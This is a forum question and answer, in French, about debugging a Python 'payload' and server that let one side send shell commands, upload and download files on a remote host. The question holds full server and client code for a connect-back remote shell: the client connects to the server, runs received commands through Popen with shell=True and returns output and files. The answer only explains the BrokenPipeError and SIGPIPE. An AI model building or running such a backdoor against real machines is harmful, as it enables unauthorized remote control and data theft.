2017-02-09 44 views
0

Je dois créer une petite charge utile et un serveur pour télécharger/télécharger ou exécuter des commandes sur l'ordinateur hôte.Erreur sur la fonction send()

Erreur:

Traceback (most recent call last): 
    File "ServerCompletPAY.py", line 43, in <module> 
    a.send(command) 
BrokenPipeError: [Errno 32] Broken pipe 

Lorsque j'exécute les fichiers pour la première fois qu'il fonctionne correctement, mais quand je tape une autre commande, puis l'erreur est générée.

Code Serveur:

import os 
import socket 

global opening_file 
global name_file 
global a 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.bind(("0.0.0.0",1111)) 
s.listen(5) 
a,c = s.accept() 
print ("[*] We Are Connected ") 

def shell() : 
    verbose = a.recv(102400) 
    print (verbose.decode(),"\n","\n") 

def download_from_client(): 
    opening_file = open(name_file,"wb") 
    opening_file.write(a.recv(102400)) 
    x.close() 
    opening_file.close()  

def download_to_client(): 
    opening_file = open(name_file,"rb") 
    file_needed = opening_file.read() 
    a.send(file_needed) 
    a.close() 
    opening_file.close() 

def main(): 
    if first_word == "download": 
     download_to_client() 
    elif first_word == "upload" : 
     download_from_client() 
    else : 
     shell() 

while True : 
    command = input("<Shell >") 
    name_file = command.split("/")[-1] 
    first_word = command.split(" ")[0] 
    command = command.encode() 
    a.send(command) 
    main() 

Code client:

from subprocess import * 
import os 
import socket 

def shell() : 
    commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True) 
    comment = commandexe.communicate()[0] 
    s.send(comment) 

def download() :  
    file_name = commentrecv.split("/")[-1] 
    opening_file = open(file_name,"rb") 
    s.send(opening_file.read()) 
    opening_file.close() 

def upload(): 
    file_name = commentrecv.split("/")[-1] 
    opening_file = open(file_name,"wb") 
    file_name.write(s.recv(102400).decode()) 
    file_name.close() 

while True : 
    global s 
    global commandrecv 

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    s.connect(("127.0.0.1",1111)) 
    commandrecv_encoded = s.recv(1024) 
    commandrecv = commandrecv_encoded.decode() 
    first_word = commandrecv.split(" ")[0] #to know if i need to upload or download 

    if not commandrecv : 
     break; 
    else: 
     if first_word == "download": 
      download() 
     elif first_word == "upload" : 
      upload() 
     else : 
      shell() 

Thankyou à l'avance.

+0

Si ma réponse fait le travail pour vous, alors marquez-le comme bon sinon commentez-le. –

Répondre

0

Je cite ce Answer, car il ressemble à votre problème, essayez ceci:

Votre processus serveur a reçu un SIGPIPE écrit à une prise. Cela se produit généralement lorsque vous écrivez sur une socket complètement fermée de l'autre côté (client). Cela peut se produire lorsqu'un programme client n'attend pas que toutes les données du serveur soient reçues et ferme simplement une socket (en utilisant la fonction close).

Dans un programme C, vous essayez normalement d'ignorer le signal SIGPIPE ou de définir un gestionnaire de signal fictif. Dans ce cas, une erreur simple sera renvoyée lors de l'écriture sur une socket fermée. Dans votre cas, un python semble lancer une exception qui peut être traitée comme une déconnexion prématurée du client.